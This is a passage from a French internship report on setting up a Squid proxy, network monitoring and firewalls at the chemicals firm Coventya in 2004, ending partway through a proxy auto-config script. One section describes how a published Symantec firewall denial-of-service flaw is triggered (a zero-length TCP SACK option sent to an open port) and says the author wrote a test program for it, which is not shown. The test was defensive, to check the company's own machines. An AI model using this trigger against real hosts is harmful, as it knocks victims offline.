Mise en place de proxy HTTP et monitoring réseau: société COVENTYA

Pierre Pronchery



Remerciements

Je remercie la société Coventya, et plus particulièrement MM. Brisy et Lonka, qui m'ont permis d'appréhender le métier d'"Administrateur de Système d'Information" au cours de ce stage.

Je remercie l'INSIA, et plus particulièrement la Cellule Entreprise, dont Mme Rivillon, qui m'a mis en contact avec la société Coventya.

Table des matières
Résumé
Abstract
Introduction
1. Environnement de travail
1.1. Encadrement
1.1.1. Personnel informatique
1.1.2. Moyens à disposition
1.2. Contexte du stage
1.2.1. L'entreprise
1.2.2. Le système d'information
1.2.3. Le parc informatique
1.3. Gestion du parc
1.3.1. Prises de décision
1.3.2. Procédures de suivi
1.3.3. Gestion des incidents
2. Déroulement du stage
2.1. Planification
2.1.1. Découpage initial du projet
2.1.2. Mise en pratique
2.1.2.1. Déploiement du pare-feu Symantec
2.1.2.2. Proxy HTTP et monitoring
2.1.2.3. Bilan et évolution de la mission
2.1.3. Indicateurs et bilans
2.2. Communication
2.2.1. Au sein du service
2.2.2. Avec les utilisateurs
2.2.3. Veille technologique
2.3. Intégration au parc
2.3.1. Machines serveur
2.3.2. Postes clients
2.3.2.1. Réseau local
2.3.2.2. Utilisateurs nomades
2.3.3. Interopérabilité
3. Aspects techniques
3.1. Maintenance
3.1.1. Matériel
3.1.1.1. Les interventions
3.1.1.2. Mise à jour des switchs 3Com
3.1.2. Logiciel
3.1.3. Sauvegarde
3.2. Modifications au parc
3.2.1. Sécurité des postes nomades
3.2.1.1. Pare-feu Windows XP
3.2.1.2. Pare-feu Symantec
3.2.1.3. Exploit Symantec Firewall
3.2.2. Mise en place du proxy HTTP
3.2.2.1. Cahier des charges
3.2.2.2. Ressources disponibles
3.2.2.3. Installation et paramétrage
3.2.2.4. Problèmes techniques
3.2.2.5. Mise en production
3.2.3. Service de messagerie
3.2.3.1. Installation de Lotus Domino Server pour Linux
3.2.3.2. Le webmail
3.3. Monitoring
3.3.1. Santé du réseau local: NTop
3.3.1.1. Placement de la sonde
3.3.1.2. Solution logicielle
3.3.1.3. Découverte de trafic inutile
3.3.1.4. Charge du réseau
3.3.2. Métrologie globale: Cacti
3.3.2.1. Paramétrage et extension
3.3.3. Système de fichiers distribué: DFS
3.3.3.1. Introduction à DFS
3.3.3.2. Documentation et outils en place
3.3.3.3. Extension des outils de diagnostic
3.3.3.4. Résolution du problème
Conclusion
A. Déni de service Symantec Client Firewall
B. Installation et configuration de Domino
Liste des illustrations
1-1. Schéma réseau de Coventya
2-1. Boitier pare-feu Watchguard
3-1. Ecran principal d'administration de switch 3Com
3-2. Ecran système d'administration de switch 3Com
3-3. Script d'auto-configuration de proxy
3-4. Configuration de Squid par Webmin

Résumé

Coventya est une entreprise de chimie, produisant des solutions de traitement de surfaces métalliques. Elle participe à la réalisation et à la finition de pièces pour l'industrie mécanique, électronique, et du luxe. Son site le plus important est à Clichy (92), mais sa présence s'étend en Europe, au Brésil et en Chine. Elle compte environ 200 employés.

Le stage, qui y a eu lieu de mai à octobre 2004, était principalement orienté vers la mise en place d'un serveur proxy HTTP d'une part, et d'une solution de suivi d'activité réseau (monitoring) d'autre part. Il a été étendu à l'ensemble des tâches que peut rencontrer un administrateur réseau dans une entreprise telle que Coventya.

Au sein du service informatique de Clichy, composé de deux administrateurs, ces projets ont été réalisés avec d'importantes contraintes matérielles. A cette occasion j'ai pu présenter des solutions en logiciel libre à mes collègues, qui souhaitaient en utiliser, et en recevoir par là une approche concrète.

Des logiciels libres de notoriété ont été déployés. Squid sert les pages web aux utilisateurs (proxy HTTP), tandis que Apache (serveur web), PHP (moteur web), MySQL (gestion de base de données), et Cacti (glue de composant de suivi) assurent le suivi d'activité réseau. Leur configuration a été regroupée grâce à l'interface d'administration Webmin.

Si ces logiciels répondent aux besoins exprimés, ils auraient éventuellement pu être mis aux couleurs de Coventya, ou être plus adaptés aux habitudes de mes collègues. Ceci n'a pas été facilité par l'importance de la charge de travail, avec l'implication dans leur service. Je regrette également de ne pas avoir pu d'avantage mettre à l'épreuve mes compétences en administration système, le parc de Coventya étant de taille raisonnable, et déjà bien en place.


Abstract

Coventya is a producer and researcher of chemicals for electroplating. They are designed to help and enhance the production of metallic devices, which may be found in cars, electronics and also jewels. Its main site is at Clichy, France (Hauts-de-Seine), but the targeted market also includes Europe, Brasil and China. Coventya hires about 200 people.

The internship lasted 6 months, from May to October 2004. It was aiming at the setup of a HTTP proxy server on one hand, and of a network monitoring service on the other hand. It has been extended to a point where most typical Systems Administrators tasks have been encountered.

These projects have been realized with both Systems Administrators from the IT department. They have faced tight hardware requirements, which has been an occasion to use free software-based solutions. My colleagues were already willing to be introduced to this technology, which I did.

A few famous free software solutions have been installed: Squid (HTTP proxy) delivers the web pages, while Apache (web server), PHP (web engine), MySQL (database management) and Cacti (monitoring components glue) operate the network monitoring. Their administration has been eased and gathered, thanks to the web interface Webmin.

While these components do their job, they could have been customed to fit Coventya's graphical style, and maybe also to better fit my colleagues perception. This has been complicated by the daily work load at the office, in spite of my implication in it. I would have liked to further test my skills also, the existing system being of a moderate size, and already proven.


Introduction

Il s'agit d'un stage de deuxième année du cycle ingénierie, de l'INSIA à Paris. Il accompagne la spécialité choisie, "Systèmes, Réseaux, Télécoms" (SRT). L'année scolaire se déroulant en alternance 6 mois en cours, 6 mois en entreprise, le stage a eu lieu du 3 Mai au 29 Octobre 2004.

Le stage a pour titre "Mise en place de proxy HTTP et monitoring réseau", mais le but est également d'assister le service informatique, et les utilisateurs, dans des tâches moins spécifiques. La mission aurait pu être intitulée "Administration de Système d'Information".

Proxy HTTP. Le proxy HTTP s'interpose entre les utilisateurs d'une part, et les sites web et FTP qu'ils visitent d'autre part. La redirection des requêtes est quasiment transparente, il s'agit juste d'indiquer à son navigateur les paramètres du proxy. Le premier intérêt de ce service est alors d'économiser le débit de la connexion à Internet, car le proxy peut mettre en cache les documents déjà visités.

Par extension, il est même possible, si les besoins en terme de connectivité des utilisateurs se limitent à de la consultation de pages web, de ne partager directement l'accès à Internet que par le proxy. Les utilisateurs locaux doivent alors l'utiliser exclusivement. Si d'autres protocoles sont nécessaires, il est souvent possible d'utiliser un proxy SOCKS. Certains proxys HTTP en incluent le support.

De plus, les possibilités de suivi et de limitations de l'utilisation du service sont bien plus importantes qu'à l'aide d'un simple pare-feu. Il est possible, entre autre, d'interdire l'accès aux sites publicitaires, ou à des domaines dont le contenu ne correspond pas à la politique de l'utilisation du système d'information.

Monitoring réseau. Le service informatique disposait déjà d'un certain nombre d'outils de diagnostic de l'usage du réseau, mais uniquement sur les lignes gérées par ses prestataires. Il y a donc besoin d'outils d'analyse sur la santé et l'usage du réseau.

Divers types d'outils d'analyse de réseau existent: on distingue notamment les outils actifs des passifs. Les outils passifs se contentent d'écouter un lien, et d'en recouper l'information, tandis que les outils actifs peuvent remonter des alertes, si certains seuils sont dépassés par exemple.

Administration système. Le travail a également consisté à compléter les efforts de l'équipe en place, aussi bien sur des projets en cours, que sur de la maintenance logicielle et matérielle. L'installation et la mise à jour de logiciels, la reconfiguration de machines, la maintenance du parc ont enrichi cette expérience.

Aide aux utilisateurs. Le téléphone a sonné régulièrement, pour des requêtes ou des questions techniques d'ordre général. Installation de logiciel utilisateur, déblocage de configuration, support technique, déplacement et réparation de matériel client ont aussi fait partie du quotidien.


Chapitre 1. Environnement de travail

1.1. Encadrement

1.1.1. Personnel informatique

Mon directeur de stage, M. Christian Brisy, est également le responsable du parc informatique de Coventya. Il est épaulé par M. Jérémy Lonka, sur le site de Clichy. Ils s'occupent tous deux de la gestion du parc aussi bien sur place, ailleurs en France, qu'à l'étranger. Ceci occasionne parfois des trajets internationaux, mais la plupart du temps des membres de l'entreprise sur place, ou parfois des consultants (comme en Italie) répondent aux besoins ne pouvant être traités à distance.

MM. Brisy, Lonka et moi-même avons travaillé dans le même bureau, ce qui a permis la plupart du temps une concertation rapide. Ainsi rares sont les occasions où nous avons dû nous téléphoner entre nous, ou nous envoyer des messages. Et bien sûr, les fiches de suivi d'intervention sont également un moyen de communiquer important.

Mes collègues sont polyvalents, et peuvent chacun traiter la quasi-totalité des problèmes indépendamment. Dans les cas les plus pointus, M. Brisy est plus avancé sur SAP, tandis que M. Lonka s'occupe plus souvent de Domino et Active Directory. L'intégralité du parc est géré en environnement Windows, dont ils assurent tous deux l'administration.

Concernant l'administration courante des serveurs Windows et Domino, je n'ai pas rencontré de problème particulier. L'expérience permet ensuite de mieux mémoriser où se situent les diverses options, et de contourner la plupart des problèmes, le reste étant généralement assez intuitif ou documenté. Les compétences que j'ai pu apporter à l'entreprise se trouvent plutôt au niveau des réseaux, et surtout en administration de systèmes UNIX et culture des logiciels libres.

Je regrette cependant que mon travail n'ait pas été plus testé pendant mon stage. Une journée a bien été prise début juin, afin d'initier mes collègues à l'installation de Linux. Mais l'utilisation du système, et les procédures de remise en place n'ont été transmises que pendant le dernier jour.


1.1.2. Moyens à disposition

Dès mon arrivée j'ai disposé d'un poste, avec les droits complets d'administration sur Active Directory et Lotus Domino. J'ai occupé le même bureau que mes collègues, avec accès direct aux documentations présentes, et au matériel de rechange. J'ai pu me rendre en salle serveur, située en bas de l'immeuble, dans les locaux d'une autre entreprise: Coventya y loue un emplacement (armoire rack).


1.2. Contexte du stage

1.2.1. L'entreprise

Coventya élabore des solutions de traitement électrolytique. Un regroupement d'équipes de chimistes élabore des formules chimiques pour le traitement de surfaces. Les produits doivent préparer, protéger et donner le meilleur aspect visuel de pièces métalliques, pour l'industrie et le luxe.

Ses clients viennent notamment de l'industrie automobile, du bâtiment, de l'électronique, de la bijouterie, en France comme à l'étranger. Ainsi Coventya est principalement implantée en France, mais est très présente en Europe (Allemagne, Espagne, Italie, Suède), et se déploie également en dehors du continent (Brésil, Chine, Etats-Unis).


1.2.2. Le système d'information

La mise en place et l'usage du système informatique a donc fait face à des contraintes de distance très importantes. Il faut y ajouter la barrière de la langue, car si la langue de travail est l'anglais, parfois le français, les logiciels sont déployés (et donc administrés) en langue locale.

L'essentiel de la gestion de l'entreprise est réalisé par un serveur SAP, mutualisé sur une grappe de systèmes Linux, située à Bautzen (Allemagne). Un serveur supplémentaire y est à disposition pour les tests. Cependant, presque tous les autres moyens déployés sont à Clichy.

La communication par l'outil informatique est entièrement basée sur Lotus Notes. Les utilisateurs s'échangent fréquemment par ce biais documents Microsoft Office, PDF, et images. Mis à part les outils d'administration, les autres logiciels en place sont essentiellement des applications métier (chimie, qualité, ...).

Les utilisateurs disposent d'espaces de stockage par réseau: sur leur compte, dans des partages réservés à leurs groupes de travail respectifs, ou dans un partage ouvert à tous. Des sauvegardes hebdomadaires en sont réalisées.


1.2.3. Le parc informatique

Chaque site est équipé par un serveur Domino, relié au serveur central de Clichy. Deux le sont par liaison RNIS: Gütersloh en Allemagne, et Milan en Italie. Les serveurs SAP le sont également. Ils sont interconnectés par un réseau privé, fourni par France Télécom, remplacé par une liaison directe en cas de panne du backbone. Le réseau de Clichy dispose également d'une liaison ADSL, bridée à 1600/256kbps car trop éloignée des infrastructures de France Télécom. Celle-ci relie tous les autres sites, par réseau virtuel privé sur Internet (dont une liaison supplémentaire vers les serveurs SAP).

Figure 1-1. Schéma réseau de Coventya

Salle serveur. Les serveurs sont en place dans le même bâtiment, mais dans les locaux de Chep, une autre entreprise. Il s'y trouve:

  • un serveur Windows 2000, contrôleur du domaine;

  • un second serveur Windows 2000, Domino et contrôleur de domaine;

  • un routeur Cisco 2600, connecté à la demande à l'imprimante du site de production de Rouen par RNIS;

  • un second routeur Cisco 2600, de France Télécom, relié au backbone;

  • un boitier pare-feu WatchGuard, qui gère également le VPN, géré par la société Via Net.Works;

  • une passerelle SMTP, anti-virus, fournie également par Via Net.Works;

  • une liaison directe au réseau local de Chemetall, l'entreprise dont est issue Coventya.

Les différents étages du bâtiment sont reliés en fibre 100FX (100Mbps), puis en 10Base-T ou 100Base-T (10 et 100Mbps), par un réseau de switchs 3Com (SuperStack 3300 ou 1100).

Postes des utilisateurs fixes. Le parc de Clichy compte environ 60 postes clients en activité. Ils utilisent Windows NT4, 2000 et XP. La gestion du logiciel anti-virus, Symantec Antivirus, est centralisée sur serveur, tandis que le reste des opérations de maintenance est réalisé à distance par PC Anywhere. Concernant les licenses, chaque poste est géré indépendamment, et utilise des versions de logiciels parfois différentes des autres machines.

Postes nomades. Pour ses représentants technico-commerciaux, Coventya fournit une flotte de 20 PC portables, sous Windows XP. Les applications installées sont les mêmes que sur les postes fixes. En revanche, ils disposent d'une connexion à Internet internationale, par ligne fixe ou RNIS, gràce à Terre Networks, et en France par Free en ADSL. La liaison aux serveurs utilise un réseau virtuel sur Internet.

Les utilisateurs. Les utilisateurs se servent de leur poste avec des privilèges normaux. La plupart utilisent les outils mis à disposition, et peuvent bien sûr s'installer un certain nombre d'applications. Ils n'ont pas de restriction formelle à l'utilisation du système d'information, ou d'Internet.


1.3. Gestion du parc

1.3.1. Prises de décision

La maintenance logicielle du parc est compliquée par la gestion des licences et des versions de logiciels installées et disponibles. Les décisions les concernant sont prises par M. Brisy, et soumises à approbation par la comptabilité. Des prestataires assurent certains services, comme iTelligence pour SAP, ou Via Net.Works pour l'anti-virus de messagerie. Ils décident des solutions qu'ils déploient, par concertation avec M. Brisy, et tel que détaillé dans leurs contrats respectifs bien entendu.


1.3.2. Procédures de suivi

Un système de fichage manuel de suivi des commandes et interventions est élaborée, en coordination avec le service comptable. Le carnet d'adresses du service informatique (IT), et les fiches de suivi contiennent les coordonnées téléphoniques ou mail des services de support concernées.

De même, les procédures de déplacement, remplacement, modification ou configuration de postes, imprimantes et serveurs sont fichées, à l'exception des plus bénines.

En revanche, le suivi matériel des sites distants est au plus possible réalisé par le personnel sur place. Les problèmes sont résolus par téléphone, ou parfois avec l'intervention de consultants ou sociétés extérieures sur le site en question. Dans ce cas la plupart des interventions sont comptabilisées par le site même.


1.3.3. Gestion des incidents

Le suivi des incidents est coordonné par un système de fiches. Elles sont réalisées à la main, sur un support papier. A chaque stade de leur traitement, elles sont empilées, traitées puis archivées. Elles rappellent les coordonnées des services techniques les plus souvent mis à contribution, les autres étant accessibles par le carnet d'adresse Domino dédié aux administrateurs.

Les fiches sont prévues pour être renseignées avec le numéro de parc du matériel correspondant, l'émetteur, la date d'émission, la description du problème, et celle de la solution appliquée.


Chapitre 2. Déroulement du stage

2.1. Planification

2.1.1. Découpage initial du projet

Il m'avait été annoncé que le projet serait ponctué de tâches de maintenance et d'aide aux utilisateurs diverses, c'est à dire d'aide à MM. Brisy et Lonka au quotidien. La mission proprement dite était cependant de mettre en place le proxy HTTP, avant de réfléchir à la solution de monitoring à mettre en place. D'autres possibilités de missions étaient également prévues, mais de priorité plus faible. Le suivi du système de partage de fichiers inter-sites en est un bon exemple.


2.1.2. Mise en pratique

2.1.2.1. Déploiement du pare-feu Symantec

En pratique, mon arrivée à Coventya a coincidé avec celle du ver Sasser. La première partie du stage a donc été dédiée au déploiement du pare-feu Symantec Client Security sur les postes nomades. Ceux-ci étaient les premiers vulnérables à l'attaque, alors connectés sans protection à Internet, et parfois désyncronisés avec la mise à jour automatique de l'anti-virus. De plus, Une faille du pare-feu déployé ayant été publiée, j'ai procédé à l'élaboration d'un programme permettant de la tester.


2.1.2.2. Proxy HTTP et monitoring

Une fois le pare-feu en production (mi-mai), j'ai pu me consacrer à l'installation de mon poste de travail, ainsi que du proxy. Le proxy a été mis en production début juin par une règle Active Directory sur le site de Clichy. Son bon fonctionnement a été retardé par un bogue du noyau Linux, signalé et paré grâce au suivi de bogues Debian. De premières solutions de suivi de l'activité du proxy ont été étudiées et présentées à M. Brisy. Cette période a aussi été consacrée à l'étude d'une solution de poste client sous Linux, principalement l'intégration au système Domino en place (courrier, carnet d'adresses).

Je me suis alors intéressé aux solutions de monitoring, appliquées à la topologie du réseau de Coventya. Elle a principalement porté sur 3 logiciels: Cacti, Nagios et NTop. Ceci m'a permis d'analyser l'activité du réseau, pendant que j'étendais les possibilités des solutions testées. Une série de documentations a été écrite durant le mois de juillet.


2.1.2.3. Bilan et évolution de la mission

A la reprise d'activité, fin août, une réunion a défini de nouveaux objectifs pour les 2 derniers mois. J'ai donc effectué, durant la fin du stage:

  • le suivi rapproché du comportement du partage distribué de fichiers de Microsoft, DFS;

  • l'étude d'une solution de doublage de lien Internet, sur les sites distants;

  • le dédoublage des clients du réseau virtuel, pour les utilisateurs des sites distants;

  • le test d'une solution serveur Domino sous Linux, afin de permettre aux utilisateurs la lecture de leur courrier sur Internet.

Comme précisé, toute la période de stage a également été consacrée à diverses opérations de maintenance et d'aide aux utilisateurs, de moindre importance.


2.1.3. Indicateurs et bilans

Comme mentionné ci-dessus, des réunions au sein du service informatique ont été organisées à intervalles réguliers. C'est au cours de ces réunions que les différentes étapes de la mission ont été validées, et que les connaissances ont été transmises (installation de Debian, gestion des services mis en place).


2.2. Communication

2.2.1. Au sein du service

Partageant le même bureau que mes collègues, l'essentiel de la communication a bien sûr éte effectué de vive voix. Le mail et le téléphone ont parfois été utilisés, en cas d'impossibilité de se joindre physiquement.

J'ai également mis en place à leur attention, un serveur web local sur ma machine. Il regroupait diverses informations, comme les mots de passe, et la documentation de mes réalisations.


2.2.2. Avec les utilisateurs

Les utilisateurs physiquement à Clichy passaient régulièrement directement dans notre bureau. Ils utilisaient aussi comme l'ensemble des utilisateurs la messagerie ou le téléphone. Quelques notes à leur attention figuraient également sur le serveur web de ma machine (configuration manuelle du proxy).


2.2.3. Veille technologique

Tout au long de la mission, je suis resté informé de l'actualité du matériel et des logiciels déployés. Ceci a été rendu possible, notamment par la liste de sécurité Bugtraq, et le site LinuxFR, et sinon par les sites des constructeurs et éditeurs.


2.3. Intégration au parc

2.3.1. Machines serveur

Les machines serveur du site de Clichy sont placées dans une armoire rack, dans la salle serveur du bâtiment (voir Figure 1-1). Leur adressage partage le sous-réseau 10.1.0.0/20, avec les périphériques réseau administrables, imprimantes et postes utilisateurs. Les adresses sont allouées une à une, et maintenues dans un fichier Excel sur réseau.

Figure 2-1. Boitier pare-feu Watchguard

Chaque site distant dispose d'un sous-réseau séparé, en /20, par exemple 10.3.0.0/20, soit 4094 entités adressables. Les liens passant par Internet sont chiffrés par des boitiers pare-feu dédiés, de Watchguard.


2.3.2. Postes clients

2.3.2.1. Réseau local

Le réseau local est exploité à l'aide d'un serveur DHCP, allouant des adresses de 10.1.2.0 à 10.1.2.255. Les systèmes Windows supportant les domaines Active Directory sont intégrés au domaine Coventya1. Ils le sont également au système de suivi anti-virus, et de contrôle à distance PC Anywhere. Lotus Notes est aussi installé et configuré.


2.3.2.2. Utilisateurs nomades

Les postes nomades disposent aussi de PC Anywhere, Lotus Notes et d'un anti-virus, mais surtout d'un accès à Internet international. Il est assuré par Terre Networks, et free en France. La connexion vers Coventya est établie par un réseau virtuel, chiffré par IPsec (comme les boitiers Watchguard). Le sous-réseau dédié à ces postes est 10.0.0.0/20.


2.3.3. Interopérabilité

L'intégration d'un client Linux au parc existant a été compliquée par Domino. S'il propose bien un certain nombre de protocoles standards permettant d'accéder au courrier et au carnet d'adresses, il est impossible d'exécuter les applications dédiées à Notes en dehors du client Windows. Seule une version de Notes (5.0.12) a fonctionné après copie et exécution sous l'environnement Wine (qui permet d'exécuter des applications Windows sous Linux).

Pire encore, l'interface d'administration de Domino permet d'activer les services IMAP (courrier) et LDAP (carnet d'adresses), mais en pratique cela ne lançait pas les serveurs correspondants, et ce silencieusement. Après recherche, le format IMAP nécessitait une modification importante du format des bases mail, et le serveur LDAP était bloqué par le service Active Directory. Quant à l'interface web d'administration, elle a rejeté mon navigateur, Mozilla 1.6, "pas assez récent", alors que Netscape 4.x était supporté.

Heureusement, le serveur Domino installé sous Linux, en version 6, a bénéficié d'améliorations majeures. Il m'a permis d'accéder sans problème à IMAP et LDAP.

Enfin, l'administration des serveurs Windows étant réalisée à l'aide de PC Anywhere, elle m'a été impossible sous Linux. L'activation de Terminal Server peut remédier à ce problème, mais serait plus difficilement applicable sur les postes clients.


Chapitre 3. Aspects techniques

3.1. Maintenance

3.1.1. Matériel

3.1.1.1. Les interventions

Il a fallu régulièrement participer aux opérations de maintenance sur le matériel en production sur le site de Clichy. Que ce soit dans les cas de:

  • détérioration de PC portables,

  • panne d'imprimante,

  • usure programmée d'imprimante,

  • commande de matériel,

  • mise à jour de firmware,

  • réinitialisation de matériel,

la procédure établie a bien entendu été respectée, il fallait prévenir les utilisateurs concernés en cas de perturbation à prévoir. Il était même plus que recommandé d'effectuer les opérations gênantes dans des conditions où elles affectaient au moins possible le fonctionnement des applications (soit pendant la pause déjeuner, ou en fin d'après-midi).


3.1.1.2. Mise à jour des switchs 3Com

Un bon exemple de maintenance critique que j'ai réalisée est la mise à jour des switchs 3Com. A l'occasion de la mise en place d'une solution de monitoring, il était judicieux de mettre à jour le firmware des switchs.

Il s'agissait de mettre en place un serveur TFTP, disposant de l'image à jour, et de se connecter par Telnet au switch en question. Sur Debian, l'installation du serveur se fait comme suit:

# apt-get install tftp
# vi /etc/inetd.conf		#réglage du répertoire de base
# vi /etc/hosts.{allow,deny}	#détermination des clients autorisés
			
On obtient après authentification sur le switch l'écran vu en Figure 3-1.

Figure 3-1. Ecran principal d'administration de switch 3Com

Menu options: --------------3Com SuperStack II Switch 1100--------------
 bridge             - Administer bridging/VLANS
 ethernet           - Administer Ethernet ports
 feature            - Administer system features
 ip                 - Administer IP
 logout             - Logout of the Command Line Interface
 snmp               - Administer SNMP
 system             - Administer system-level functions

Type ? for help.
--------------------------------D1027 3ème Commer. (2)------------------
Select menu option:
				
on accède alors au menu "system", tel que présenté en Figure 3-2.

Figure 3-2. Ecran système d'administration de switch 3Com

Menu options: --------------3Com SuperStack II Switch 1100--------------
 display            - Display device information
 information        - Set the system name, location and contact
 initialize         - Reset to factory defaults
 inventory          - Stack information
 module             - Administer intelligent module
 password           - Change system password
 remoteAccess       - Change Remote Access permissions
 reset              - Perform system reset
 security           - Administer system security
 softwareUpgrade    - Perform agent software upgrade
 unit               - Input commands to another unit

Type "q" to return to the previous menu or ? for help.
--------------------------------D1027 3ème Commer. (2)------------------
Select menu option (system):
				
la commande "softwareUpgrade" demande alors l'adresse du serveur TFTP, ainsi que le nom de l'image sur le serveur. Puis le switch procède à la mise à jour:

  1. téléchargement de l'image,

  2. redémarrage (ne répond plus à peu près 30 secondes),

  3. téléchargement une deuxième fois de l'image,

  4. nouveau redémarrage.

J'ai constaté que le switch fait deux fois la mise à jour. Je suppose qu'il s'assure qu'avec la nouvelle version du firmware il est toujours capable de procéder à d'autres mises à jour.

L'obtention de futures mises à jour s'effectue sur la page 3Com Search for Downloads. Il suffit d'y indiquer le numéro de produit 3Com (ici 3C16950, lisible par "system, display" ou par l'interface web). Les liens proposent également des logiciels ou les documentations en relation.


3.1.2. Logiciel

Il m'est arrivé régulièrement de procéder à l'installation, la mise à jour, la reconfiguration de logiciels aux utilisateurs, tels que Lotus Notes, Symantec Anti-Virus, ou de logiciels professionels comme Brise (base de données de propriété intellectuelle en chimie). Ces opérations sont souvent très frustrantes, par les plantages, incompatibilités silencieuses. Il est rarement possible d'en obtenir un support économiquement décent, parfois même le logiciel en question n'est plus supporté.

Les opérations de mise à jour des outils Microsoft, et du produit anti-virus, sont réalisées automatiquement (respectivement par Windows Update Services, et LiveUpdate). Sur ces produits le déploiement est paramétrable sur une console centralisée. Pour configurer les postes individuellement, ou gérer les autres produits déployés, l'interface d'administration à distance PC Anywhere, de Symantec, est largement utilisée. Elle déporte l'utilisation de la machine par réseau. Ceci implique l'affichage en direct des manipulations, et l'accès physique de la machine cliente.


3.1.3. Sauvegarde

Une sauvegarde complète des serveurs est effectuée chaque semaine, renforcée par une sauvegarde différentielle tous les soirs en semaine. M. Lonka s'occupe de la rotation des cartouches, il s'agit de DLT de 80GB compressés.

Les restaurations sont effectuées sur simple demande des utilisateurs.


3.2. Modifications au parc

3.2.1. Sécurité des postes nomades

3.2.1.1. Pare-feu Windows XP

A mon arrivée le 3 mai dans l'entreprise, le ver Sasser faisait ses premiers ravages. Il n'a pas épargné les PC portables des utilisateurs nomades, connectés via par VPN sous Windows XP (SP1), mais sans pare-feu sur la connexion Internet. Ceci bien que Zone Alarm soit proposé avec le client VPN, pour raison d'incompatibilités. Ma première tâche a donc été de mettre en place une politique de sécurité sur la connexion:

  • bloquant l'accès direct au poste,

  • permettant la mise en place du VPN,

  • permettant l'administration à distance du poste par PC Anywhere,

  • permettant la mise à jour programmée de l'anti-virus et autres applications,

  • ne gênant pas outre mesure l'utilisation du poste par l'utilisateur.

Mon premier essai s'est porté sur le pare-feu intégré à Windows XP. Malheureusement il est très mal présenté et documenté, même sur le site de Microsoft. Suite à une batterie de test il s'est avéré qu'il devait être actif à la fois sur l'interface PPP et l'interface VPN afin de pouvoir fonctionner. De plus, si on peut lui faire ouvrir des ports TCP ou UDP sur la machine, il faut à chaque fois lui indiquer le port source autorisé, ce qui dans le cas de nos applications n'est pas possible. J'ai donc dû écarter cette solution.


3.2.1.2. Pare-feu Symantec

Mes efforts se sont alors portés sur le pare-feu Symantec, disponible par l'offre Symantec Gold contractée par l'entreprise. Symantec Client Security Firewall peut effectuer des blocages par application tentant d'accéder au réseau (à la Zone Alarm), ou par des règles de filtrage générales. Outre l'intégration à l'interface d'administration des produits Symantec, il consiste en:

  • l'application pare-feu, dont la configuration peut-être graduellement laissée à l'utilisateur;

  • l'administration du pare-feu, qui permet d'accèder plus directement aux règles de filtrage, et surtout l'import/export des règles en cours.

Il a donc fallu installer et utiliser le pare-feu sur une machine, afin d'en générer une configuration type. Celle-ci est alors déployable par l'interface d'administration Symantec.

Les logiciels de gestion Symantec m'ont permis de générer un exécutable d'installation silencieuse du pare-feu. Son déploiement en masse a pu être réalisé un mois plus tard, lorsque les utilisateurs nomades sont venus en réunion à Clichy. Il a été accompagné de la rédaction d'une procédure.


3.2.1.3. Exploit Symantec Firewall

Suivant régulièrement la liste de veille sécuritaire Bugtraq, j'ai été informé dès mai 2004 de la présence d'une faille dans le pare-feu: EEYE: Symantec Multiple Firewall TCP Options Denial of Service. Pour vérification, j'ai développé un programme en C, testant la vulnérabilité, dont la version finale est en Annexe A. Après la réception d'un paquet TCP malformé (option SACK avec longueur nulle), la machine ciblée perd toute connectivité, jusqu'à son prochain redémarrage.

La première version n'affectait en rien le comportement du logiciel, tel qu'indiqué dans l'annonce. J'en ai donc contacté l'auteur, qui m'a fourni plus de détails sur la faille, et comment s'assurer de sa correction (version du fichier SYMNDIS.SYS). Il fallait, contrairement à ce qui était mentionné au départ, cibler un port ouvert. Le risque était minime, car ma configuration les bloquait en dehors du réseau virtuel.


3.2.2. Mise en place du proxy HTTP

3.2.2.1. Cahier des charges

Les contraintes étaient les suivantes:

  • économiser la bande passante;

  • limiter le coût logiciel et matériel;

  • s'intégrer de manière transparente au parc;

  • conserver la navigation telle quelle;

  • faciliter l'administration et le suivi.

Il n'y avait notamment pas de politique de filtrage à mettre en place, même sur d'éventuels sites de publicité.


3.2.2.2. Ressources disponibles

La migration en cours de postes clients, de Compaq Pentium Pro et II entre 180 et 233MHz pour de nouvelles machines, m'a permis de disposer d'un certain nombre de ces machines. Mon choix s'est porté sur un Pentium II, qui a été équipé de 128MB de SDRAM (non sans incompatibilités avec certaines marques). Le disque dur présent, de 2GB, a suffit.

Logiciellement, sur une telle configuration un système d'exploitation graphique serait trop lourd et surtout, superflu. GNU/Linux, en particulier la distribution Debian, semblait indiqué, et n'a coûté qu'un téléchargement.


3.2.2.3. Installation et paramétrage

L'installation elle-même n'a pas posé de problème, si ce n'est le BIOS peu conventionnel proposé par Compaq. En effet celui-ci se trouve sur disque dur, et utilise une version réduite de Windows 3.1 pour l'interface. Un seul des disques durs récupérés en disposait d'une copie fonctionnelle, ce qui a tout de même permis d'amorcer le CD-ROM. Heureusement, il est également possible de lancer le BIOS à l'aide de disquettes.

La première étape a donc été un simple paramétrage du système, par l'installation de Squid, et sa configuration. Seules 2 modifications ont été nécessaires:

acl coventya_local src 10.0.0.0/8
			
à la suite des définitions d'ACL (TAG: acl), et dans les règles d'accès:
http_access allow coventya_local
			
entre les règles fournies, et la règle d'interdiction de tout le reste: "http_access deny all" (TAG: http_access).

A noter également, Squid a besoin d'un nom qualifié dans /etc/hosts pour démarrer. La machine ayant d'abord été configurée en DHCP, Squid refusait de démarrer, comportement documenté au bug #244887. Pour pallier au problème, la directive "visible_hostname C1043.local.coventya.com" a alors été fixée.


3.2.2.4. Problèmes techniques

Au cours des tests effectués avant la mise en production, il s'est avéré que la machine ne voulait pas démarrer sans clavier branché, et que le redémarrage volontaire de la machine bloquait. Aucun des problèmes n'a été résolu par la mise à jour du BIOS. Si le premier problème pour être contourné (en branchant en permanence un clavier), le deuxième est vraisemblablement logiciel, donc investigable.

Le système de gestion de bugs de Debian a donc été mis à l'épreuve, obtenant le numéro de bug #249000. Un développeur du noyau Linux, Herbert Xu, a répondu dans la journée, et m'a permis de trouver la cause du problème: le déchargement du module AGP était incomplet. Ce module étant inutile, j'en ai désactivé le chargement en désinstallant le détecteur matériel "discover".


3.2.2.5. Mise en production

La machine a été placée dans le bureau (l'armoire serveur étant pleine). Le paramétrage des clients a été effectué par Active Directory, tous les utilisateurs locaux étant déjà situés dans un groupe adéquat. Pour une meilleure flexibilité, un script d'auto-configuration a été écrit, et placé sur un serveur Apache sur cette machine. La Figure 3-3 présente la dernière version utilisée. Il s'agit d'un fichier en Javascript, qui paramètre la classe destination 10.0.0.0/8 en dehors de la connexion par proxy.

Figure 3-3. Script d'auto-configuration de proxy

function FindProxyForURL(url, host)
{
        if (isInNet(host, "10.0.0.0", "255.0.0.0")
                        || isInNet(host, "127.0.0.0", "255.0.0.0"))
                return "DIRECT";
        else
                return "PROXY 10.1.1.21:3128";
